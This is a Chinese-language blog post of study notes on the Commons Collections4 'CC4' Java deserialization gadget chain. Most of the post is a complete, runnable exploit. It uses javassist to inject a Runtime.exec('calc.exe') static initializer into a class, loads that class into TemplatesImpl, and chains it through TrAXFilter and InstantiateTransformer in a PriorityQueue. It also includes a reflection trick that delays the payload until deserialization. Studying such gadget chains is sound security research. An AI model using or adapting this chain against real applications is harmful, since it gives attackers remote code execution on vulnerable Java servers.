java反序列化----CC4利用链学习笔记

发布时间 2023-11-19 11:11:09作者: BattleofZhongDinghe

java反序列化----CC4利用链学习笔记

环境配置

jdk8u
pom.xml中写入

        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.22.0-GA</version>
        </dependency>

利用链

本质上是CC2的大体框架+CC3的TrAXFilter
可以移步
java反序列化----CC2利用链学习笔记(PriorityQueue和TemplatesImpl)
java反序列化----CC3利用链学习笔记
EXP:
MyTemplate

package cc4;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.Serializable;

public class MyTemplate extends AbstractTranslet implements Serializable {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

TempChain

package cc4;

import cc2.MyTemplate;
import javassist.ClassPool;
import javassist.CtClass;

public class TempChain {
    public static void main(String[] args) throws Exception{
        final byte[] byteCode = TempChain.makeByteCode();
    }
    public static byte[] makeByteCode() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.get(MyTemplate.class.getName());
        String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
        ctClass.makeClassInitializer().insertBefore(cmd);
        ctClass.setName("NormalClass");
        return ctClass.toBytecode();
    }
}

CC4的EXP

package cc4;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC4_EXP {
    public static void main(String[] args) throws Exception{
        //创建模板
        TemplatesImpl templates = (TemplatesImpl) CC4_EXP.makeTemp();

        //将TrAXFilter.class作为参数传入new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        //提前触发掉add的compare,避免在序列化中执行恶意代码
        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        //利用反射将恶意链替换掉用于触发add的无害链
        Class c = transformingComparator.getClass();
        Field field = c.getDeclaredField("transformer");
        field.setAccessible(true);
        field.set(transformingComparator,chainedTransformer);

        //序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc4.txt"));
        oos.writeObject(priorityQueue);

        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc4.txt"));
        System.out.println(ois.readObject());

    }

    public static Object makeTemp() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.get(MyTemplate.class.getName());
        String  cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
        ctClass.makeClassInitializer().insertBefore(cmd);
        ctClass.setName("NormalClass");
        byte[] byteCode = ctClass.toBytecode();
        TemplatesImpl templates = new TemplatesImpl();
        Class c = templates.getClass();
        Field f1 = c.getDeclaredField("_name");
        f1.setAccessible(true);
        f1.set(templates,"test");//随便赋值
        Field f2 = c.getDeclaredField("_bytecodes");
        f2.setAccessible(true);
        f2.set(templates,new byte[][]{byteCode});
        Field f3 = c.getDeclaredField("_tfactory");
        f3.setAccessible(true);
        f3.set(templates,new TransformerFactoryImpl());
        return  templates;
    }
}